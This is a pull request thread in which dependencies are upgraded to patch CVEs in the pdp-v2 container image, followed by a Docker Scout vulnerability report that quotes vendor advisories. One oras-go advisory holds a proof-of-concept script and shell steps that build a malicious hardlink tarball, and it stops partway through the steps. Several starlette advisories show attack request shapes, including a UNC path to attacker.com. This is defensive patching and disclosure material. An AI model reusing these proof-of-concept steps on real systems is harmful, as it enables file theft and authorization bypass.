fix: patch 18 of 24 CVEs in pdp-v2 image (PER-15358)

[dshoen619]

Closes PER-15358.

Docker Scout flagged 24 CVEs (8 Critical, 16 High) on permitio/pdp-v2:next, across two repos. This PR is the PDP half; the Go half is permitio/permit-opa#38 (the OPA binary is compiled from permit-opa@main, so that PR must merge for the image to pick up the Go fixes).

This PR (PDP)

• cryptography >=46.0.5,<47 → >=48.0.1,<49 — patches GHSA-537c-gmf6-5ccf (1 High). Resolves cleanly (fastapi 0.125.0, opal 0.9.6).
• Documents (inline) that the 2 starlette High CVEs are upstream-blocked: opal-common/opal-client 0.9.6 (latest) hard-cap starlette<1, while the fixes are only in starlette 1.1.0/1.3.1.

Companion PR (permit-opa#38) — 16 High/Critical

x/crypto 0.49→0.53, x/net 0.52→0.55, containerd/v2 2.2.2→2.2.5, oras-go/v2 2.6.0→2.6.1, otel 1.42→1.43.

Verification

Built the image locally (linux/arm64) with the updated OPA tarball and confirmed the patched versions are baked into the shipped artifact:

In image	Shipped
OPA binary x/crypto	v0.53.0	✅
OPA binary x/net	v0.55.0	✅
OPA binary containerd/v2	v2.2.5	✅
OPA binary oras-go/v2	v2.6.1	✅
OPA binary otel/sdk	v1.43.0	✅
Python cryptography	48.0.1	✅

Outcome: 18 of 24 fixed (8 Critical + 10 High)

Remaining 6 High are all upstream-blocked — no fix available:

• sqlite-libs 3.49.2-r1 (3 High) — no upstream patch; apk del sqlite can't remove it (pulled in by Python's _sqlite3). Needs a base-image bump when Alpine patches.
• oras-go/v2 path-traversal CVE-2026-50163 (1 High) — no fix yet.
• starlette CVE-2026-54283 / CVE-2026-48818 (2 High) — blocked by OPAL's starlette<1 cap.

Note (unrelated, pre-existing)

pytest currently shows 34 failures on both this branch and clean main (identical), caused by aioresponses 0.7.9 being incompatible with aiohttp 3.14.1 (ClientResponse ... missing 'stream_writer'). Not caused by this change; worth a separate fix (pin aiohttp<3.14 or update aioresponses).

🤖 Generated with Claude Code

[linear-code]

PER-15358

[github-actions]

🔍 Vulnerabilities of permitio/pdp-v2:next

📦 Image Reference permitio/pdp-v2:next

digest	sha256:bab83ded2e9540857e25a50ab5ff6b0b64886ea4dabf623fa9f1d765f39df145
vulnerabilities
platform	linux/amd64
size	218 MB
packages	250

📦 Base Image python:3.10-alpine3.22

also known as	3.10.20-alpine3.22
digest	sha256:c8f94b3bb77e6ea9015ccd091b7f8aec1b1fcbca95159675235d9a93788797cd
vulnerabilities

golang.org/x/crypto 0.49.0 (golang) pkg:golang/golang.org/x/crypto@0.49.0 Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.440% EPSS Percentile 35th percentile Description Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.469% EPSS Percentile 37th percentile Description Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @Revoked. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.466% EPSS Percentile 37th percentile Description When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.360% EPSS Percentile 28th percentile Description The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.338% EPSS Percentile 26th percentile Description When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.373% EPSS Percentile 29th percentile Description The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.500% EPSS Percentile 39th percentile Description A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.359% EPSS Percentile 28th percentile Description An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.400% EPSS Percentile 32nd percentile Description The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.196% EPSS Percentile 10th percentile Description An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.295% EPSS Percentile 21st percentile Description When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.313% EPSS Percentile 23rd percentile Description For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used. Affected range <0.52.0 Fixed version 0.52.0 EPSS Score 0.369% EPSS Percentile 29th percentile Description SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.

golang.org/x/net 0.52.0 (golang) pkg:golang/golang.org/x/net@0.52.0 Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.478% EPSS Percentile 38th percentile Description The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com". Affected range <0.53.0 Fixed version 0.53.0 EPSS Score 0.781% EPSS Percentile 52nd percentile Description When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0. Uncontrolled Resource Consumption Affected range <0.55.0 Fixed version 0.55.0 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.248% EPSS Percentile 16th percentile Description In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.188% EPSS Percentile 9th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering. Affected range <0.55.0 Fixed version 0.55.0 EPSS Score 0.178% EPSS Percentile 8th percentile Description Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

github.com/containerd/containerd/v2 2.2.2 (golang) pkg:golang/github.com/containerd/containerd/v2@2.2.2 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.203% EPSS Percentile 10th percentile Description Impact A bug was found in containerd where the CRI plugin propagates labels from an image config (LABEL instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 2.0.10 1.7.33 Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images are used. Credits The containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io) Improper Input Validation Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 8.4 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.412% EPSS Percentile 33rd percentile Description Impact containerd's CRI implementation improperly trusts Container Device Interface (CDI) annotations found within untrusted checkpoint image metadata during container restoration. When restoring a container from a checkpoint, containerd preserves CDI-related annotations from the checkpoint archive rather than relying solely on the pod's create-time specification. This allows a user with pod creation permissions to bypass standard Kubernetes resource allocation and device plugin enforcement, injecting arbitrary CDI edits (such as device nodes and host mounts) into the restored container. Successful exploitation requires that the node has CDI enabled and contains a matching host CDI specification for the requested device; environments where CDI is disabled or lacking sensitive device specifications are not affected. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 Users should update to these versions to resolve the issue. Recreating existing containers restored from untrusted checkpoints may be necessary to remove smuggled configuration. Workarounds Users can mitigate this issue by restricting the restoration of containers from untrusted checkpoint images. If Container Device Interface (CDI) capabilities are not utilized on the node, removing or temporarily relocating host CDI specifications from the default directories (/etc/cdi and /var/run/cdi) will eliminate the reachability of this vulnerability. Credits The containerd project would like to thank Robert Prast (@robertprast) for responsibly disclosing this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io) Access of Resource Using Incompatible Type ('Type Confusion') Affected range >=2.1.0-beta.0 <2.2.4 Fixed version 2.2.4 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.221% EPSS Percentile 13th percentile Description Impact A bug was found in containerd where containers launched with a numeric User directive that cannot be parsed as a 32-bit integer are incorrectly treated as a username. If a crafted image provides an /etc/passwd file mapping this large numeric string to root, the container ultimately runs as root (UID 0). This allows the Kubernetes runAsNonRoot restriction to be bypassed, causing unexpected behavior for environments that require containers to run as a non-root user. Patches This bug has been fixed in the following containerd versions: 2.3.1 2.2.4 2.0.9 1.7.32 Note: The containerd 2.1 release has reached its end of life and a fixed version is not provided. Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images are used and that only trusted users have permissions to import images. Alternatively, enforcing a specific numeric runAsUser in the Kubernetes Pod securityContext overrides the USER directive in the image and prevents the bypass. Newer versions of Kubernetes, starting with 1.34, also appear to enforce runAsNonRoot properly regardless of this bug. Credits The containerd project would like to thank Lei Wang (@ssst0n3) for responsibly disclosing this issue in accordance with the containerd security policy. Resources GHSA-265r-hfxg-fhmg (CVE-2024-40635) For more information If there are any questions or comments about this advisory: Open an issue in containerd Send an email to [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Send an email to [security@containerd.io](mailto:security@containerd.io) UNIX Symbolic Link (Symlink) Following Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 7.1 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.208% EPSS Percentile 11th percentile Description Impact A bug was found in containerd where the CRI plugin restores container.log from a checkpoint image without validating a symlinked path. This could result in reading an arbitrary file on the host via kubectl logs. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images and checkpoints are used. Credits The containerd project would like to thank @gouldnicholas and @davidrxchester, Yuming Zhang and Song Li of Zhejiang University, Sangwon Ryu (@sangwon090), Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, Robert Prast (@robertprast), Kyle Elliott (@kyle-elliott-tob) of Trail of Bits, and Zhenchen Wang (@Plucky923), who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io) Uncontrolled Resource Consumption Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.317% EPSS Percentile 24th percentile Description Impact A vulnerability in containerd allows a maliciously crafted image to cause a Denial of Service (DoS) condition. When creating a container from this image, memory exhaustion occurs, leading to an Out Of Memory (OOM) kill of the containerd process. This renders the container runtime API unavailable and can disrupt clients such as the Docker Engine or Kubernetes control-plane components. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 2.0.10 1.7.33 Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images are used and that only trusted users have permissions to import images or schedule pods. Credits The containerd project would like to thank Jakub Ciolek (@jake-ciolek) at AlphaSense and Kyle Elliott @ Trail of Bits who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io) Insufficient Verification of Data Authenticity Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 5.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:L EPSS Score 0.354% EPSS Percentile 27th percentile Description Impact containerd's CRI checkpoint import process contains a vulnerability where it fails to validate the image references specified within a checkpoint image's configuration. An attacker with permissions to create pods can use a crafted checkpoint image to force containerd to pull a malicious image and assign it an arbitrary local tag, thereby poisoning the node's local image cache. Subsequently, if other pods on the same node attempt to use the poisoned tag with an IfNotPresent (or Never) pull policy, they will unknowingly execute the attacker's malicious image instead of the legitimate one. This can lead to a compromise of the affected pods, allowing the attacker to execute arbitrary code under the victim pod's identity. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 Users should update to these versions to resolve the issue. Workarounds Users should only allow trusted images to be pulled. Credits The containerd project would like to thank Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, and Robert Prast (@robertprast) who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io)

sqlite 3.49.2-r1 (apk) pkg:apk/alpine/sqlite@3.49.2-r1?os_name=alpine&os_version=3.22 Affected range <=3.49.2-r1 Fixed version Not Fixed EPSS Score 0.175% EPSS Percentile 7th percentile Description Affected range <=3.49.2-r1 Fixed version Not Fixed EPSS Score 0.175% EPSS Percentile 7th percentile Description Affected range <=3.49.2-r1 Fixed version Not Fixed EPSS Score 0.301% EPSS Percentile 22nd percentile Description

starlette 0.50.0 (pypi) pkg:pypi/starlette@0.50.0 Allocation of Resources Without Limits or Throttling Affected range >=0.4.1 <1.3.1 Fixed version 1.3.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.275% EPSS Percentile 19th percentile Description Summary request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. Details request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies. Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects: Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body. The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size. Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop. Mitigation Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...). Server-Side Request Forgery (SSRF) Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.368% EPSS Percentile 29th percentile Description Summary When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. Details StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O. Impact Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved. Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') Affected range <=1.0.0 Fixed version 1.0.1 CVSS Score 6.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N EPSS Score 1.438% EPSS Percentile 70th percentile Description Summary In affected versions, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Details When a client requests http://example.com/foo, it sends: GET /foo HTTP/1.1 Host: example.com Affected versions reconstructed the URL by concatenating http://{host}{path} and re-parsing the result. The Host value is only valid as a uri-host [ ":" port ] per RFC 9112 §3.2, where uri-host follows the restricted host grammar of RFC 3986 §3.2.2. When it contains characters outside that grammar - notably /, ?, or # - those characters move the path/query/fragment boundaries during re-parsing, so the parsed request.url.path no longer matches the path the server actually received. For example: GET /foo HTTP/1.1 Host: example.com/abc?bar= reconstructs to http://example.com/abc?bar=/foo, whose parsed path is /abc - even though routing used the real path /foo. The router still dispatches to /foo and the endpoint executes, but any middleware or code that reads request.url.path sees /abc, so path-based authorization checks can be bypassed. Impact Any application running an affected version that relies on request.url (or request.url.path) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere. Mitigation Upgrade to a patched version, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values. Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N EPSS Score 0.213% EPSS Percentile 12th percentile Description Summary When dispatching a request, HTTPEndpoint selects the handler by lowercasing the HTTP method and looking it up as an attribute with getattr, without restricting the lookup to a known set of HTTP verbs. When an HTTPEndpoint subclass is registered through Route(...) without an explicit methods= argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. Details HTTPEndpoint uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as _DO_DELETE therefore resolves an attribute like _do_delete and invokes it. Non-standard methods are valid RFC 9110 token methods, so an endpoint must not treat the method name as a trusted attribute selector. Impact An application is affected when all of the following hold: It defines an HTTPEndpoint subclass and registers it via Route(...) without an explicit methods= argument. The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single request argument and return a response. This also affects frameworks built on Starlette, like FastAPI. Mitigation Register HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with 405 Method Not Allowed before it reaches the endpoint, so non-standard methods cannot resolve an attribute. Improper Input Validation Affected range <1.3.0 Fixed version 1.3.0 CVSS Score 3.7 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N EPSS Score 0.187% EPSS Percentile 8th percentile Description Summary In affected versions, the HTTP request path is not validated before being used to reconstruct request.url. Because request.url is rebuilt by concatenating {scheme}://{host}{path} and re-parsing the result, a path that does not begin with / (for example @<!-- -->google.com) moves the authority boundary during re-parsing, so request.url.hostname and request.url.netloc become attacker-controlled. Code that reads request.url.hostname (rather than the Host header or scope) can therefore be misled into trusting an attacker-supplied host. Details When a client requests a path that does not start with /: GET @<!-- -->google.com HTTP/1.1 Host: localhost affected versions reconstruct the URL as http://localhost@<!-- -->google.com. Per RFC 3986 §3.2.1, the substring before @ in the authority is userinfo, so re-parsing yields username = "localhost" and hostname = "google.com", with an empty path: request.url == "http://localhost@<!-- -->google.com" request.url.hostname == "google.com" request.url.path == "" The root cause is that the path is concatenated directly after the host without a separating /, and without validating that it begins with one. Only the Host header was validated when constructing request.url; the path was not. This requires an ASGI server that forwards a request-target lacking a leading / into scope["path"]. Impact Any application running an affected version that uses request.url, request.url.netloc, or request.url.hostname for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first. Note that this is less exploitable than GHSA-86qp-5c8j-p5mr: there, the poison is carried in the Host header, so the real path still routes to a valid endpoint while request.url.path lies. Here, the poison must be carried in the path itself, and that path (@<!-- -->google.com) does not match any registered route, so routing returns 404 and no endpoint handler runs. The exposure is limited to code that reads request.url before routing - notably middleware - or in 404/exception handlers. Mitigation Upgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields http://localhost/@<!-- -->google.com with request.url.hostname == "localhost".

oras.land/oras-go/v2 2.6.0 (golang) pkg:golang/oras.land/oras-go/v2@2.6.0 Server-Side Request Forgery (SSRF) Affected range <2.6.1 Fixed version 2.6.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Description Summary oras-go follows a registry-controlled Location header during the monolithic blob upload flow and reuses the Authorization header from the initial POST request for the subsequent PUT request. If a malicious registry returns a cross-host Location, oras-go can send the caller's credentials to an attacker-controlled endpoint. Affected Versions tested: v2.6.0 (commit 03243809936cce826494b5506f724c6dc11115b1, as-of 2026-01-24) range: unknown; likely affects earlier v2.x releases that include the same upload flow Impact Credential leak to an attacker-controlled endpoint and client-side ssrf to a cross-host target. Affected Component registry/remote/repository.go:878-916 (blobStore.completePushAfterInitialPost) Reproduction Attachments include poc.zip with a local-only harness (no real registry required). It runs a fake registry server that returns a cross-host Location and a second server that records whether it received Authorization. unzip -q -o poc.zip -d /tmp/poc cd /tmp/poc/poc-F-ORAS-LOCATION-UPLOAD-001 make canonical make control Recommended Fix validate Location before uploading (scheme + hostname + effective port) against the original request, or require an explicit opt-in allowlist for cross-host upload urls never forward Authorization when the upload target changes host or scheme references security policy: https://github.com/oras-project/oras-go/security/policy vulnerable code: registry/remote/repository.go (see blobStore.completePushAfterInitialPost) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=2.6.1 Fixed version Not Fixed CVSS Score 7.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N Description Root cause The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller: func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION } if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil // <-- returns the ORIGINAL target, not the validated path } The caller for TypeLink hardlinks then does: case tar.TypeLink: var target string if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(target, filePath) } os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page: oldpath and newpath are interpreted relative to the current working directory of the calling process. So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed. Attack An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with: A regular file: payload.tar.gz/README.txt. A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative). and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract). When a victim runs oras pull (or any Go code using content.File), the extraction: Validates payload.tar.gz/evil_cwd_link — passes. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"): path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes. Returns target = "victim.secret" (NOT path). Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret. The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other. Proof of Concept Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz). Reproduction script (standalone, ~50 lines) attached. Summary of key steps: # 1. Place victim file in the future CWD. mkdir -p cwd-space extract echo "TOP SECRET FROM CWD" > cwd-space/victim.secret # 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE. python3 -c ' import tarfile, io, os with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t: info = tarfile.TarInfo(name="payload.tar.gz/README.txt") c = b"pulled from registry"; info.size = len(c); info.mode = 0o644 info.uid = os.getuid(); info.gid = os.getgid() t.addfile(info, io.BytesIO(c)) link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link") link.type = tarfile.LNKTYPE link.linkname = "victim.secret" # RELATIVE link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid() t.addfile(link) ' # 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space. (cd cwd-space && oras push --oci-layout ../layout:v1 \ payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip) # ... patch layout/blobs/sha256/<manifest> to add # io.deis.oras.content.unpack: "true" on 